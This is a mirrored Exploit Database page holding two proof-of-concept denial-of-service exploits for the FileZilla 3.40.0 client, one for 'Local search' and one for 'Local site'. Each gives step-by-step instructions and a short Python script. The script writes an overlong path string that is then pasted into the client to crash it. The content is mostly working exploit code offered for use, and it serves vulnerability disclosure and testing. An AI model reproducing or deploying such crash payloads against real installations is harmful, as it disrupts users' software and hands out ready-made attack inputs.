FileZilla 3.40.0 – ‘Local search’ / ‘Local site’ Denial of Service (PoC)

• Exploit Database
• 14 阅读

• 作者： Mr Winst0n
  日期： 2019-03-04
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/46484/

• # Exploit Title: FileZilla 3.40.0 - "Local search" Denial of Service (PoC)
  # Discovery by: Mr Winst0n
  # Discovery Date: February 20, 2019
  # Vendor Homepage: https://filezilla-project.org
  # Software Link : https://filezilla-project.org/download.php?type=client&show_all=1
  # Tested Version: 3.40.0
  # Tested on: Kali linux x86_64
  # Vulnerability Type: Denial of Service (DoS)
  
  
  # Steps to Produce the Crash:
  # 1.- Run python code : python filezilla.py
  # 2.- Open buff.txt and copy content to clipboard
  # 3.- Open Filezilla (located in bin folder), in top bar click on Binoculars icon (search for files recursively)
  # 4.- In the opend window, Set Search type to "Local search"
  # 5.- Paste ClipBoard on "Search directory" and click on "Search"
  # 6.- Boom! Crashed...
  
  
  #!/usr/bin/env python
  
  buffer = "\x41" * 384
  crash = "/" + buffer + "BBBB" + "CCCC"
  f = open("buff.txt", "w")
  f.write(crash)
  f.close()
  
  # Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path.
  
  
  # Exploit Title: FileZilla 3.40.0 - "Local site" Denial of Service (PoC)
  # Discovery by: Mr Winst0n
  # Discovery Date: February 25, 2019
  # Vendor Homepage: https://filezilla-project.org
  # Software Link : https://filezilla-project.org/download.php?type=client&show_all=1
  # Tested Version: 3.40.0
  # Tested on: Kali linux x86_64
  # Vulnerability Type: Denial of Service (DoS)
  
  
  # Steps to Produce the Crash:
  # 1.- Run python code : python filezilla-2.py
  # 2.- Open crash.txt and copy content to clipboard
  # 3.- In "Local site" section paste clipboard and Enter.
  # 4.- Boom! Crashed...
  
  
  #!/usr/bin/env python
  
  buffer = "\x41" * 384
  crash = "/" + buffer + "BBBB" + "CCCC"
  f = open("crash.txt", "w")
  f.write(crash)
  f.close()
  
  # Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path.